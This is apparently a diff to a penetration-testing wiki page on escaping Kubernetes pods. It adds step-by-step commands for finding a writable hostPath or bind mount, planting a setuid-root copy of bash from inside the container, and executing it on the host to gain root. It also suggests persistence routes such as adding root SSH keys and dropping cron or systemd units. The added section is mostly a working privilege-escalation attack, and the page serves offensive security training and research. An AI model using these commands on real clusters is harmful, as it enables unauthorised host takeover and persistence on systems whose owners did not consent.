||||
@@ -2,4 +2,3 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -22,6 +22,56 @@ You can check this **docker breakouts to try to escape** from a pod you have com
|
||||
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/index.html
|
||||
{{#endref}}
|
||||
|
||||
### Abusing writable hostPath/bind mounts (container -> host root via SUID planting)
|
||||
|
||||
If a compromised pod/container has a writable volume that maps directly to the host filesystem (Kubernetes hostPath or Docker bind mount), and you can become root inside the container, you can leverage the mount to create a setuid-root binary on the host and then execute it from the host to pop root.
|
||||
|
||||
Key conditions:
|
||||
- The mounted volume is writable from inside the container (readOnly: false and filesystem permissions allow write).
|
||||
- The host filesystem backing the mount is not mounted with the nosuid option.
|
||||
- You have some way to execute the planted binary on the host (for example, separate SSH/RCE on host, a user on the host can execute it, or another vector that runs binaries from that path).
|
||||
|
||||
How to identify writable hostPath/bind mounts:
|
||||
- With kubectl, check for hostPath volumes: kubectl get pod <pod> -o jsonpath='{.spec.volumes[*].hostPath.path}'
|
||||
- From inside the container, list mounts and look for host-path mounts and test writability:
|
||||
|
||||
```bash
|
||||
# Inside the compromised container
|
||||
mount | column -t
|
||||
cat /proc/self/mountinfo | grep -E 'host-path|kubernetes.io~host-path' || true
|
||||
findmnt -T / 2>/dev/null | sed -n '1,200p'
|
||||
# Test if a specific mount path is writable
|
||||
TEST_DIR=/var/www/html/some-mount # replace with your suspected mount path
|
||||
[ -d "$TEST_DIR" ] && [ -w "$TEST_DIR" ] && echo "writable: $TEST_DIR"
|
||||
# Quick practical test
|
||||
printf "ping\n" > "$TEST_DIR/.w"
|
||||
```
|
||||
|
||||
Plant a setuid root binary from the container:
|
||||
|
||||
```bash
|
||||
# As root inside the container, copy a static shell (or /bin/bash) into the mounted path and set SUID/SGID
|
||||
MOUNT="/var/www/html/survey" # path inside the container that maps to a host directory
|
||||
cp /bin/bash "$MOUNT/suidbash"
|
||||
chmod 6777 "$MOUNT/suidbash"
|
||||
ls -l "$MOUNT/suidbash"
|
||||
# -rwsrwsrwx 1 root root 1234376 ... /var/www/html/survey/suidbash
|
||||
```
|
||||
|
||||
Execute on the host to get root:
|
||||
|
||||
```bash
|
||||
# On the host, locate the mapped path (e.g., from the Pod spec .spec.volumes[].hostPath.path or by prior enumeration)
|
||||
# Example host path: /opt/limesurvey/suidbash
|
||||
ls -l /opt/limesurvey/suidbash
|
||||
/opt/limesurvey/suidbash -p # -p preserves effective UID 0 in bash
|
||||
```
|
||||
|
||||
Notes and troubleshooting:
|
||||
- If the host mount has nosuid, setuid bits will be ignored. Check mount options on the host (cat /proc/mounts | grep <mountpoint>) and look for nosuid.
|
||||
- If you cannot get a host execution path, similar writable mounts can be abused to write other persistence/priv-esc artifacts on the host if the mapped directory is security-critical (e.g., add a root SSH key if the mount maps into /root/.ssh, drop a cron/systemd unit if maps into /etc, replace a root-owned binary in PATH that the host will execute, etc.). Feasibility depends entirely on what path is mounted.
|
||||
- This technique also works with plain Docker bind mounts; in Kubernetes it’s typically a hostPath volume (readOnly: false) or an incorrectly scoped subPath.
|
||||
|
||||
### Abusing Kubernetes Privileges
|
||||
|
||||
As explained in the section about **kubernetes enumeration**:
|
||||
@@ -393,6 +443,15 @@ Off-Menu +
|
||||
|
||||
- [**https://github.com/r0binak/MTKPI**](https://github.com/r0binak/MTKPI)
|
||||
|
||||
## References
|
||||
|
||||
- [Forgotten (HTB) - Writable bind mount SUID planting](https://0xdf.gitlab.io/2025/09/16/htb-forgotten.html)
|
||||
- [Kubernetes hostPath volume](https://kubernetes.io/docs/concepts/storage/volumes/#hostpath)
|
||||
- [Docker bind mounts](https://docs.docker.com/storage/bind-mounts/)
|
||||
- [Bash -p (preserve privileges)](https://www.gnu.org/software/bash/manual/bash.html#Invoking-Bash)
|
||||
- [mount(8) nosuid option](https://man7.org/linux/man-pages/man8/mount.8.html)
|
||||
- [Peirates (Kubernetes attack tool)](https://github.com/inguardians/peirates)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user